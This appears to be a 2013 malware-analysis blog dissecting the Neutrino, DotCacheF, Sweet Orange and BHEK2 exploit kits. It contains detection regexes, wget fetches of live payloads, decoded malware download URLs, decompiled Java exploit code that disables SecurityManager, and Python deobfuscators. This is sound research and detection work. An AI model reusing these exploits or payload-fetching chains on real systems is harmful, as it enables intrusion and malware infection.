0000030: 676a 6d6d 676a 6d6d 676a 6d6d 676a 6d6d  gjmmgjmmgjmmgjmm
0000040: c28f 6a6d 6d69 75c3 9763 67c3 9e64 c2a0  ..jmmiu..cg..d..
0000050: 46c3 926c 21c2 aa4b 3905 0e19 4d1d 1505  F..l!..K9...M...
0000060: 0a1f 0607 4d0e 0604 0302 134a 0f08 4718  ....M......J..G.
0000070: 1803 4703 034d 2325 3e4d 0a05 0908 4967  ..G..M#%>M....Ig
0000080: 6067 436a 6d6d 676a 6d6d c386 c3a9 c2a4  `gCjmmgjmm......
0000090: c393 c282 c288 c38a c280 c282 c288 c38a  ................
00000a0: c280 c282 c288 c38a c280 c28b c3b0 5fc2  .............._.
00000b0: 80c2 83c2 88c3 8ac2 80c2 8bc3 b049 c280  .............I..
00000c0: c281 c288 c38a c280 c28b c3b0 59c2 80c2  ............Y...
00000d0: a1c2 88c3 8ac2 80c2 82c2 88c3 8bc2 803b  ...............;
00000e0: c288 c38a c280 c299 1565 c280 c285 c288  .........e......
00000f0: c38a c280 c299 1551 c280 c283 c288 c38a  .......Q........
0000100: c280 c299 1550 c280 c283 c288 c38a c280  .....P..........
0000110: c299 1557 c280 c283 c288 c38a c280 3503  ...W..........5.
0000120: 0e05 c282 c288 c38a c280 676a 6d6d 676a  ..........gjmmgj
0000130: 6d6d 676a 6d6d 676a 6d6d 372f 6d6d 2b6b  mmgjmmgjmm7/mm+k

Looks like we do not have an exe file, and we can spot a pettern indicating it is xored. Luckily we have the XOR key from the applet tags we downloaded. The xor key changes quite often but is stuck on 4 byte. Here are some samples:

<param name='xkey' value='lspw'>
<param name='xkey' value='gjmm'>
<param name="xkey" value="qgrw">

The XOR scheme has been the same for Neutrino for a long time. And using my python script made in a previous analysis will give you the correct exe.


0000000: 4d5a c290 0003 0000 0004 0000 00c3 bfc3  MZ..............
0000010: bf00 00c2 b800 0000 0000 0000 4000 0000  ............@...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: c3a8 0000 000e 1fc2 ba0e 00c2 b409 c38d  ................
0000050: 21c2 b801 4cc3 8d21 5468 6973 2070 726f  !...L..!This pro
0000060: 6772 616d 2063 616e 6e6f 7420 6265 2072  gram cannot be r
0000070: 756e 2069 6e20 444f 5320 6d6f 6465 2e0d  un in DOS mode..
0000080: 0d0a 2400 0000 0000 0000 c2a1 c283 c389  ..$.............
0000090: c2be c3a5 c3a2 c2a7 c3ad c3a5 c3a2 c2a7  ................
00000a0: c3ad c3a5 c3a2 c2a7 c3ad c3ac c29a 32c3  ..............2.
00000b0: adc3 a4c3 a2c2 a7c3 adc3 acc2 9a24 c3ad  .............$..
>

8. Detection

For those interested in network detection
landing: /h[a-z0-9]{1,16}\?g[a-z0-9]{1,12}=[0-9]{6,7}$
JAR: /e[a-z0-9]{1,11}\?y[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{0,9})$
EXE: /z[a-z0-9]{1,16}\?y[a-z0-9]{1,12}=([a-f0-9]{24}|[a-z]{7})$

The first char change frequently though so you have to hunt the kit to make sure you are covered. www.malwaresigs.com have less specific patterns.

9. Epilogue

The new stuff uncovered, at least for me, is that we have confirmed that Neutrino only has Java exploits. In addition the DGA/TDS have changed, the small static parts of the URL's for EXE and JAR download keep on changing. Otherwise this is the same old EK we know. Todo: look into the 0-Day JAR to verify it is the 0-day reported by others and to see if there is one or more exploits in the JARs.

Update 2013-09-06:

Having looked at the JARs in more detail. They are all the same for Java 1.6 and 1.7. As far as I can figure out they are all exploting the CVE-2013-2463 (all java 1.6 and < Java 1.7.0_25). The only good reference on this is from packetstorm, but looking at the code there makes me pretty sure thats where this code originates from :) Thank U to the Packetstorm bounty program!




And here is the usual Neutrino base64 decode of malware url, fetch the binary, XOR the binary, write to temp file and exec:




Good places to look for info on neutrino:
@kafein - malware.dontneedcoffee.comHave a great overview of advertisement, exploits and changes.
@malwaresigs - www.malwaresigs.com will help you detect this bad stuff.
@MalwareMustDie - malwaremustdie.blogspot.com have also had an encounter with neutrino

Happy Neutrino EK JAR and EXE manual fetching :)

Thursday, August 22, 2013

DotCacheF - a short story

Just a brief wrap-up of my strange encounter with a cute little exploit kit called DotCacheF today. As far as I have understood the name comes from the "early days" when the EK was discovered and it had a URL structure: "*/.cache/?f*". Fair enough, but please ping me the next time someone have a chance to name a new exploit kit. I would have called it meanBalrogFoo EK or maybe even better BiggusDi*kus EK,(youtube distraction) But then again I'm a Monty Python fan.

Well enough about my bad ideas for naming EK's and lets have a look at what happened today.

Once again pinged by Malware Must Die on the hunt for a Java 0-Day.

 That would have been cool to get my hands on, I thought.  One problem though the only clue to the puzzle was a urlquery report. And not just a report a very short report. Have a look here https://urlquery.net/report.php?id=4626937.  Hmm just a HTTP 204 response.

Having never looked in detail, myself, at the BiggusDickus, ehm DotCacheF, EK before I had to look into what this was all about. Had a brief chat with @secluded_memory, looked at @malwaresigs and checked out the write-up over at basemont.com.
Everywhere the EK stopped by a URL looking something like "hxxp://www.googlecodehosting.com/openx/js/zone_functions.js?cp=8998". And in my tiny brain I thought that must be a Gate(another youtube distraction) we have to pass through to be able to get to the valuables hidden inside the EK. So could it be possible to brute force this gate? Would a random hit do it? A couple of urlquery reports later: NOTHING. Since it was a work day, back to work.

Then came another tweet

Aaahh - more info to the rescue. So we got the applet tag and the applet/class files too. Strange -  thought the quest was for a JAR. But OK lets see if we can get the payload anyway:

2013-08-25: Be aware the kit is still alive!!!

Applet tag from the EK:

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="app.jnlp">
  <information>
    <title>Applet Test JNLP</title>
    <vendor>atom</vendor>
    <description>atom</description>
    <offline-allowed/>
  </information>
  <resources>
    <j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se"/>
    <jar href="hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431" main="true"/>
  </resources>
  <applet-desc name="atom" main-class="Auto" width="1" height="1">
    <param name="__applet_ssv_validated" value="true"/>
    <param name="url" value="aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg=="/>
  </applet-desc>
  <update check="background"/>
</jnlp>


Sweet we got the JAR URL and we got a couple of parameters. One parameter which looked to be especially interesting. With the characteristics of base64 encoding.

param url encoded:
 aHR0cDovL3d3dy5lZXNjb25zdWx0aW5nLm5ldC9mYmMvc2l0ZXMvZGVmYXVsdC9maWxlcy9zdHlsZXMvMGJkZmNjZGE4Zi9lZjdmZDgzOWYxLz9mPXNtX21haW4ubXAzJms9NjMx
NTM5Mzc5NDA2ODQ0Mg==

Decoded:
hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442

Lets fetch it the malware:
wget "hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442" --user-agent="Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0 Java/1.6.0_21" -v a getlog -O za.exe
--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=sm_main.mp3&k=6315393794068442
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 279040 (272K) [audio/mpeg]
Saving to: `za.exe'

100%[===================================================================================>] 279,040     57.7K/s   in 4.7s    

2013-08-22 (57.7 KB/s) - `za.exe' saved [279040/279040]

Nice. The case was solved.

Fetching the JAR with "fully patched" Java:

--2013-08-22 --  hxxp: //www.eesconsulting.net/fbc/sites/default/files/styles/0bdfccda8f/ef7fd839f1/?f=a&k=6315393794068431
Resolving www.eesconsulting.net... 69.25.136.179
Connecting to www.eesconsulting.net|69.25.136.179|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10304 (10K) [application/x-java-archive]
Saving to: `7u25.jar'

     0K ..........                                            100% 42.4K=0.2s

2013-08-22  (42.4 KB/s) - `7u25.jar' saved [10304/10304]

Just throws back the same JAR file with the vulnerability to exploit pre 7u17. So the EK is not equipped wtih the newest Java exploits then I guess.

Epilogue
Pretty straight forward EK to deal with. No evil gates. No obfuscation of the exe files.

Vitustotal for the EXE
Virustotal for the JAR

Happy getting exploits and malware out of the DotCacheF EK

Update 2013-08-23
Looks like @malwageddon have an analysis of DotCacheF posted on his blog

Tuesday, March 26, 2013

Making Orange JAM - analyzing Sweet Orange EK Java Archive files


After serving fresh orange juice the other day(Sweet orange EK analysis), grabbing all the evil files off the Sweet Orange exploit kit. We are now sitting here with piles of squeezed orange leftovers. What better idea than to go all the way and make some jam of the leftovers.

To the task of understanding, deobfuscating and reversing Sweet Orange EK JARs. I'm still working on my Python skills so I will throw in some Python code to learn. And my Java FU is not getting better so handling that code is not the way to understand what these bad guys are up to.

But lets see if we can figure out what theyre are up to this time. (see the link above if you need to look into how to pull the archives from the kit).

1. Pull the archive in jd-gui




Lots of strangly named class files. Note that YDXIOXz.bmbf is not even a class. We have located the Class with the applet where the execution starts, just have to look in the Init() method to see what fun stuff is done here

2. Init()


Not much; just instantiatin of QcVEtjNkP

3. Moving on


Finally something is happening: Reading that resource we noted right out of the archive YDXIOXz.bmbf. Creates the Class and moves on to instantiate the class.


Here is is the trick to execute priveleged: CVE-2013-0442; in more detail here 


The URL strings are manipulated this way


Here they build the URL to the exe payload they will fetch. Writing the file to java.io.tmpdir and setting it up be registered as a service and executed.


Finally here is how they manipulate the exe payload before they write it to disk.

4. Overview


So we have covered the basic outline of what the applet wants to do: read(probably a obfuscated class) from the archive, use the vulnerability in com.sun.jmx.mbeanserver.MBeanInstantiator to be able to load classes in previledged mode, invoke the YDXIOXz.bmbf mystery class and then fetch some eviel code and run that on some poor innocent guys computer.

5. Deobfuscation

To bring in some fun into this task, lets see if we can create some Python code to deobfuscate and decrypt their bad code.

5a. Lets look into the mystery resource

First thing first; read the file and replace the SPAM. Fortunately, as in opposite to Mony Python movies, we are allowed to remove the SPAM from these dishes. Whatch on youtube


String str = nkkPPUO(QcVEtjNkP.class.getResourceAsStream("YDXIOXz.bmbf")).replace("^@@#[^]^###", "");

Start of original file: Definately ^@@#[^]^### SPAM in there
CA^@@#[^]^###FE^@@#[^]^###BA^@@#[^]^###BE^@@#[^]^###00^@@#[^]^###00^@@#[^]^###00^@@#[^]^###31^@@#[^]^###00^@@#[^]^###59^@@#[^]^###0A^@@#
[^]^###00^@@#[^]^###11^@@#[^]^###00^@@#[^]^###20^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###21^@@#[^]^###00^@@#[^]^###22^@@#[^]^###07^@@#[^]^##
#00^@@#[^]^###23^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###24^@@#[^]^###00^@@#[^]^###25^@@#[^]^###09^@@#[^]^###00^@@#[^]^###0D^@@#[^]^###00^@@
#[^]^###26^@@#[^]^###08^@@#[^]^###00^@@#[^]^###27^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###28^@@#[^]^###00^@@#[^]^###29^@@#[^]^###09^@@#[^]^#
##00^@@#[^]^###2A^@@#[^]^###00^@@#[^]^###2B^@@#[^]^###07^@@#[^]^###00^@@#[^]^###2C^@@#[^]^###07^@@#[^]^###00^@@#[^]^###2D^@@#[^]^###0A^@
@#[^]^###00^@@#[^]^###2E^@@#[^]^###00^@@#[^]^###2F^@@#[^]^###07^@@#[^]^###00^@@#[^]^###30^@@#[^]^###07^@@#[^]^###00^@@#[^]^###33^@@#[^]^
###08^@@#[^]^###00^@@#[^]^###34^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###0C^@@#[^]^###00^@@#[^]^###35^@@#[^]^###08^@@#[^]^###00^@@#[^]^###36^
@@#[^]^###07^@@#[^]^###00^@@#[^]^###37^@@#[^]^###0A^@@#[^]^###00^@@#[^]^###3

After SPAM reduction; simple replace:
CAFEBABE0000003100590A001100200A002100220700230A0024002509000D00260800270A0028002909002A002B07002C07002D0A002E002F0700300700330800340A000C00350800360700370A003800390A0016003A07003B0A003C003D07003E07003F0100063C696E69743E010003282956010004436F646501000743616C6C53656301001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295601000A457863657074696F6E7301000372756E01001428294C6A6176612F6C616E672F4F626A6563743B0C001800190700400C004100420100136A6176612F6C616E672F457863657074696F6E0700430C004400450C0046004701000C7364667364667364667364660700480C0049004A07004B0C004C004D01000F6A6176612F6C6

Mmmm - SPAM reduction worked and looks like we are looking into a Java Class file which in hex starts with CAFEBABE. Just generate bytecode, disassemble and we have the class to look at(for details on dissasembly look here):

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 

import java.io.PrintStream;
import java.lang.invoke.*;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class disabler
    implements PrivilegedExceptionAction
{

    public disabler()
    {
        try
        {
            AccessController.doPrivileged(this);
        }
        catch(Exception exception) { }
    }

    void CallSec(SecurityManager securitymanager)
        throws Throwable
    {
        java.lang.invoke.MethodHandles.Lookup lookup = MethodHandles.publicLookup();
        System.out.println("sdfsdfsdfsdf");
        MethodType methodtype = MethodType.methodType(Void.TYPE, new Class[] {
            java/lang/SecurityManager
        });
        MethodHandle methodhandle = ((java.lang.invoke.MethodHandles.Lookup)lookup).findStatic(java/lang/System, "setSecurityManager", methodtype);
        System.out.println("sdfsdfsdfsdf 5");
        methodhandle.invokeWithArguments(new Object[] {
            null
        });
    }

    public Object run()
    {
        try
        {
            CallSec(null);
        }
        catch(Throwable throwable) { }
        return Integer.valueOf(56);
    }
}
Fun stuff: disabling the Java SecurityManager. Well chosen name disabler :) Kudos for originality. My choice: getRidOfSecurityManagerGoMakeSomeNiceGuysDayMiserable - But what do I know about JAva coding...

Instead I introduce the Python code to do it:

#@malforsec SPAM reduction and Sweet Orange java Bytecode maker
def decodeH(paramString):
  str1 = ""
  for i1 in range(0, (len(paramString)/2), 1):
    str1 += str(chr(int(paramString[(i1*2):((i1*2)+2)], 16)))
  return str1

def main():
  with open('resource.txt', 'r') as f1:
    decoded_class = decodeH(f1.read().replace('^@@#[^]^###', ''))
  with open('new.class', 'w') as fout:
    fout.write(decoded_class)

if __name__ == "__main__":
    main()

5b. The URL to fetch eveil code from the intertubes

Have in mind this is the applet tag variables:

name = "sSpwknEHBp
value = "103sdj115sdj115sdj111sdj57sdj46sdj46sdj101sdj96sdj108sdj104sdj107sdj120sdj115sdj100sdj96sdj111sdj104sdj100sdj56sdj45sdj97sdj104sdj121sdj46sdj116sdj111sdj107sdj110sdj96sdj99sdj114sdj45sdj111sdj103sdj111sdj62sdj99sdj96sdj115sdj96sdj60sdj53sdj55sdj48sdj37sdj107sdj104sdj117sdj100sdj60sdj48sdj47sdj37sdj101sdj113sdj110sdj109sdj115sdj60sdj48sdj50sdj37sdj113sdj100sdj101sdj100sdj113sdj60sdj48sdj55sdj55sdj37sdj104sdj108sdj111sdj113sdj100sdj114sdj114sdj116sdj108sdj60sdj48sdj49sdj53sdj48sdj37sdj114sdj115sdj96sdj115sdj114sdj60sdj49sdj56sdj49sdj37sdj118sdj104sdj109sdj106sdj60sdj51sdj47sdj53sdj37sdj111sdj107sdj116sdj114sdj60sdj51sdj53sdj37sdj101sdj110sdj113sdj108sdj60sdj54sdj50sdj47"
    
name = "TvSRUWW"
value = "68sdj47sdj111sdj64sdj107sdj104sdj56sdj45sdj100sdj119sdj100"
    
name = "SyLIfT"
value =  "108sdj96sdj115sdj103"

Definately more SPAM, spam, spam, spam...

Well lets just make some more Python code to verify what they are up to here; decoding URL + evil save file. I put the strings in there for convenience.


#malforsec  Sweet ORange SPAM reduction, url and save file script
arrayOfString = [
  "103sdj115sdj115sdj111sdj57sdj46sdj46sdj101sdj96sdj108sdj104sdj107sdj120sdj115sdj100sdj96sdj111sdj104sdj100sdj56sdj45sdj97sdj104sdj121sdj46sdj116sdj111sdj107
sdj110sdj96sdj99sdj114sdj45sdj111sdj103sdj111sdj62sdj99sdj96sdj115sdj96sdj60sdj53sdj55sdj48sdj37sdj107sdj104sdj117sdj100sdj60sdj48sdj47sdj37sdj101sdj113sdj110s
dj109sdj115sdj60sdj48sdj50sdj37sdj113sdj100sdj101sdj100sdj113sdj60sdj48sdj55sdj55sdj37sdj104sdj108sdj111sdj113sdj100sdj114sdj114sdj116sdj108sdj60sdj48sdj49sdj5
3sdj48sdj37sdj114sdj115sdj96sdj115sdj114sdj60sdj49sdj56sdj49sdj37sdj118sdj104sdj109sdj106sdj60sdj51sdj47sdj53sdj37sdj111sdj107sdj116sdj114sdj60sdj51sdj53sdj37s
dj101sdj110sdj113sdj108sdj60sdj54sdj50sdj47",
  "68sdj47sdj111sdj64sdj107sdj104sdj56sdj45sdj100sdj119sdj100",
  "108sdj96sdj115sdj103"]

def makeStrOfInt(intArray):
  str1 = ""
  for i in range(0, len(intArray), 1):
    str1 += chr(int(intArray[i]) + 1)
  return str1

def makeURL(p1, p2):
  url = p1+"&"+p2+"="
  return url.replace('http:', 'hxxp: ')

def main():
  print "URL to exe: ",  makeURL(makeStrOfInt(arrayOfString[0].split('sdj')), makeStrOfInt(arrayOfString[2].split('sdj')))
  print 'Save exe: java.io.tmpdir\\', makeStrOfInt(arrayOfString[1].split('sdj')) 
  

if __name__ == "__main__":
    main()

And the output:

$ python so_url_decode.py 
URL to exe:  hxxp: //familyteapie9.biz/uploads.php?data=681&live=10&front=13&refer=188&impressum=1261&stats=292&wink=406&plus=46&form=730&math=
Save exe: java.io.tmpdir\ E0pAli9.exe

Note: There should be a random number between 0-979 at the end of the url. But as you saw in my last post -> probably not needed.

5c. Exe manipulation

As we saw from the code, the evil doers dont just fetch the exe. They throw in some XOR Vodoo, or at least  some XOR code to obfuscate what they are downloading.
Here is an example:



Here is the Java code used to fix it into an exe file(ParamString is the Key):

public static void seRQRYgMP(byte[] paramArrayOfByte, int paramInt, String paramString)
  {
    int i = 0;
    int j = 0;
    int k = 0;
    int m = 0;
    int n = 0;
    int i1 = 0;
    k = paramString.length();
    byte[] arrayOfByte = paramString.getBytes();
    i = 0;
    j = 0;
    while (i < paramInt)
    {
      n = Math.max(1, -932231);
      if (i % Math.max(2, -932231) == 0)
      {
        i1++;
        if (i1 == k)
        {
          i1 = 0;
          n = 0;
        }
      }
      if (paramArrayOfByte[i] == Math.max(0, -932231))
        n = 0;
      if (paramArrayOfByte[i] == arrayOfByte[j])
        n = 0;
      if (n == Math.max(1, -932231))
      {
        m = (byte)(paramArrayOfByte[i] ^ arrayOfByte[j]);
        paramArrayOfByte[i] = m;
      }
      if (j < k - Math.max(1, -932231))
        j++;
      else
        j = 0;
      i++;
    }
  }

  public htispD(OutputStream paramOutputStream, int paramInt)
  {
  }
}

Lets see if we can reproduce it in Python:

#@malforsec Sweet Orange exe deobfuscator
#Key is the parameter from the applet tag from the landing pane
key = "108sdj96sdj115sdj103"

def decodeH(paramString):
  str1 = ""
  for i1 in range(0, (len(paramString)/2), 1):
    str1 += str(chr(int(paramString[(i1*2):((i1*2)+2)], 16)))
  return str1

def makeStrOfInt(intArray):
  str1 = ""
  for i in range(0, len(intArray), 1):
    str1 += chr(int(intArray[i]) + 1)
  return str1

def main():
  keyarr = makeStrOfInt(key.split('sdj'))
  new_str = ""
  with open('so_exe_xored.txt', 'r') as f1:
    inf = f1.read()
    for i in range(0, len(inf), 1):
      if ord(inf[i]) == 0 or ord(inf[i]) == ord(keyarr[i%4]) or i%8 == 6:
        new_str += inf[i]
      else:
        new_str += chr(ord(inf[i]) ^ ord(keyarr[i%4]))
  with open('so_infected.exe', 'w') as fout:
    fout.write(new_str)


if __name__ == "__main__":
    main()

Did we get it right? lets see the start of the exe:

0000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
0000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
0000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
0000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
0000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS 
0000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......
0000080: 5045 0000 4c01 0400 8554 4c51 0000 0000  PE..L....TLQ....
0000090: 0000 0000 e000 0e01 0b01 0237 0016 0000  ...........7....
00000a0: 004c 0000 0000 0000 1912 0000 0010 0000  .L..............
00000b0: 0030 0000 0000 4000 0010 0000 0002 0000  .0....@.........
00000c0: 0100 0000 0000 0000 0400 0000 0000 0000  ................


Looks perfect to me :)

6. Epilogue

So we have been able to verify that the SO EK is using CVE-2013-0422 as the vector to gain illegal access to others computers. How they obfuscate the code to lure researcher and evade detection mechanisms. We have dissected the code and finally we have not only freshlt sqeezed Sweet Orange juice but we have jam to go with the bread as well.

exe:
MD5: f633b5214319acb48353576d12165d90
VT: 12/46

tarball of the Python code here

Happy Sweet Orange EK deobfuscation

Wednesday, March 6, 2013

Having fun reversing BHEK2 Java archives using Python


Having fun reversing BHEK2 Java Archives


- And since I need to learn more Python(not Monty that is) I just thought I would throw in a couple of Python scripts for the deobfuscation.


A couple of days back I looked into fetching the exploit files from the BHEK2.

While doing that excersise I got a couple of JAR archives. Lets look at one of them(They are almost identical anyway).


Now lets look into how the java code for this EK is built and what it does.


Just a reminder: I'm NO Java FU master so terminology and correctness might be sloppy. But I hope that we can get the job done.

0.First thing first: Unzip the JAR archive.  


$unzip 9_3.jar
/EK/cinema/9_3_jar$ unzip 9_3.jar 
Archive:  9_3.jar
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF    
  inflating: hw.class                
  inflating: codehex.class           
  inflating: Impossible.class        
  inflating: RunnerGood.class        
  inflating: d.class                 
  inflating: Asd.class               
  inflating: test.class              
  inflating: test2.class



1. The Applet is where the adventure start, as that is whats called from the HTML code. 

Thats a class that extends java.lang.Applet. Since I have seen a couple of network traces of BHEK2 before I remember that to be hw.class.
To be able to read the source code of the class files we just unzipped, we need to reverse it from the Java byte code and back to readable source code.

showmycode.com is a nice tool for this! or if you prefer commandline: jad. Simpy "jad hw.class"

2. The applet - hw.class 

import java.applet.Applet;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class hw extends Applet
{

    public hw()
    {
    }

    public static String pah(String s)
    {
        return (new StringBuffer(s)).reverse().toString();
    }

    public static byte[] shy(String s)
    {
        byte abyte0[] = new byte[s.length() / 2];
        for(int i = 0; i < s.length(); i += 2)
        {
            byte byte0 = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
            abyte0[i / 2] = byte0;
        }

        return abyte0;
    }

    public static Object rue(String s, String s1, Object obj)
        throws ReflectiveOperationException
    {
        return test2.rue2(s, s1, obj, new Class[0], new Object[0]);
    }

    public void init()
    {
        try
        {
            Class class1 = RunnerGood.bug(pah((new StringBuilder(String.valueOf(RunnerGood.zz))).append("vaj.allizom.gro.n".concat("us")).toString()));
            Method method = codehex.lot(class1, "enter", true);
            Object obj = method.invoke(null, new Object[0]);
            Method method1 = codehex.lot(class1, "createClassLoader", false);
            Object obj1 = method1.invoke(obj, new Object[1]);
            byte abyte0[] = d.decodeH(test2.one());
            Class class2 = RunnerGood.bug(pah("redaoLssalCdetareneG.lanretn".concat("i.tpircsavaj.all".concat("izom.gro.nus"))));
            Method method2 = codehex.lot(class2, test2.dd, false);
            String str12 = d.get(this);
            if(str12.indexOf("::") == -1)
            {
                Class class3 = (Class)method2.invoke(obj1, new Object[] {
                    0, abyte0
                });
                Constructor localConstructor = class3.getConstructor(new Class[] {
                    java/lang/String
                });
                localConstructor.newInstance(new Object[] {
                    str12
                });
            } else
            {
                Class my_class = (Class)method2.invoke(obj1, new Object[] {
                    0, Asd.arrayOfByte2
                });
                my_class.newInstance();
                Method mmm = my_class.getMethod("r", new Class[] {
                    java/lang/String, java/lang/Class
                });
                float a = 0.0F;
                mmm.invoke(null, new Object[] {
                    str12, hw
                });
            }
        }
        catch(Exception e)
        {
            e.printStackTrace();
        }
    }

    public static String gouerpyftn(String paramString)
    {
        String str2;
        String str1 = Asd.getKkkk();
        str2 = "";
        for(int i = 0; i < paramString.length(); i++)
        {
            Object localObject = Character.valueOf(paramString.charAt(i));
            int j = str1.indexOf(localObject.toString());
            if(j != -1)
            {
                if(j != 0)
                {
                    localObject = Character.valueOf(str1.charAt(j - 1));
                    str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
                } else
                {
                    localObject = Character.valueOf(str1.charAt(str1.length() - 1));
                    str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
                }
            } else
            {
                localObject = Character.valueOf(paramString.charAt(i));
                str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
            }
        }

        return str2;
        Exception exception;
        exception;
        return "";
    }
}

Links to the classes @ showmycode.com:

hw.class              
codehex.class        
Impossible.class      
RunnerGood.class      
d.class              
Asd.class            
test.class            
test2.class


To the fun stuff! Can we figure out what the bad guys are up to, even when they do not want us to.

3. init() is the start of an applet so here is where we have to start investigating.

Class class1 = RunnerGood.bug(pah((new StringBuilder(String.valueOf(RunnerGood.zz))).append("vaj.allizom.gro.n".concat("us")).toString()));


Here the last string is appended to the string zz from the class RunnerGood (public static String zz = "txetnoC.lanretni.tpircsa";) and then the method pah() is run with that string as input. pah() just reverses the string and we end up with "sun.org.mozilla.javascript.internal.Context"

That string is sent into the bug() method of class RunnerGood.
That method is trying to find a class. Note also that there are referenses to MbeanInstantiator which was the problem with one of the Java 0-Days in January: CVE-2013-0422. Excellent paper on that here, And as we can see that is the exact trick used.


Having fun yet? That was not so hard :)

Line 40: Method method = codehex.lot(class1, "enter", true);
returning a method based on the params given to it.

Line 41: instantiate obj.

The whole thing is repeated and obj1 is instantiated.

Line 44: looks like we are going to start with the strings
byte abyte0[] = d.decodeH(test2.one()); the bytearray abyte0 is set:

OK, a lot of strings to concatenate and process.

4. Making use of Python

Here is where I take some time to code som Python and came up with the script below. I just grepped for the strings, redirected them to a file and renamed them. Swapped concat with "+" and cleaned it up a bit. Then I implemented the methods/functions.

getKkkk()

gouerpyftn(paramString)

one()

decodeH(paramString)


# malforsec BHEK Java deobfuscation 0.9

#Key
def getKkkk():
  str1 = "b12gO6%oh3}lfs98^mYauL5{qiy)RKpk40(VXBrtW&DzCFA-JndU_eZwTNHc+7QMx*vIPSGE"
  return str1;

#Deobfuscate main
def gouerpyftn(paramString):
  str1 = getKkkk()
  str2 = ""
  for i in range (0, len(paramString), 1):  
    c = paramString[i]
    j = str1.find(c)
    if j != -1:
      if j != 0:
        str2 += str1[(j-1)]
      else:
        str2 += str1[len(str1)-1]
    else:
      str2 =+ paramString[i]
  return str2

def one():
  str1 = impossible_str17 + test_str114 + test_str116 + test_str119 + asd_str122 + asd_str123 + asd_str124 + asd_str125
  return str1

def decodeH(paramString):
  str1 = ""
  for i1 in range(0, (len(paramString)/2), 1):
# Lets shorten the code a bit here and drop the codehex.ttt call
#    arrayOfByte[i1] = codehex.ttt(paramString, i1);
    str1 += str(chr(int(paramString[(i1*2):((i1*2)+2)], 16)))
  return str1

test2_str1 = "F-Abr-rb((((((}g((Ar(-(((8((0r(8((}}((0F(^((0z(-"
test2_str2 = "(((%((0b(^((0A(Q(({((^(({2(-(((%(({g(Q(({"
test2_str3 = "}(-(({0(({{(Q(({%(-(({Q(({^(Q(({8(-(((z((0r(}("
test2_str4 = "((A0g0((}((Q-2g(((-(((z(({-(Q(({r(-((2g((0r"
test2_str5 = "(-((2g(({F(^(({z(-((2g(({b(-((2g(({A(^((%((-(({Q("
test2_str6 = "(%2(^((%g(-((gF(({A(Q((%}(-((2F((%0(-((2F((%{(-((%%((%"
test2_str7 = "Q(^((%^(-((%%((%8(^((%-(-((gF((%r(^((%F(Q((%z(-((g{((%0(-((%"
test2_str8 = "b((%A(-((g{((Q((-((%b((Q2(-((g{((Q2(-((Qg((Q}(Q((Q0(^(("
test2_str9 = "Q{(^((Q%(^((QQ(^((Q^(-((Qg((Q8(-(({Q((Q-(Q((Qr(Q((QF(2"
test2_str10 = "(((2%2(2((2g0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}r(2(((%}F"
test2_str11 = "%8%b%8Q0}b(2((2{g^0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%"
test2_str12 = "b%Q}rg8{%(2(((00}%A%0%{(2(((A0F%8%b%{0bQ{%z%g%{Qg{"
test2_str13 = "0%2%g%F%{(2(((z{}Q0%2%}%r0z%2Q({0%2%g%F%{(Q((Qr(Q(("
test2_str14 = "Q0(Q(({%(2(((}QgQ{%b(2((20g^g80F%-%2Q%%2gA%F%2%b%QgA0A%g%"
test2_str15 = "-%{%}Q0}r(Q(({8(Q((%}(Q((Qz(Q((Qb(Q((%z(Q((QA(Q((^((2(((-0"
test2_str16 = "{Q^%}%{Q(Q0%8%A%bQ}(2(((-{}%AQ{Qg%"

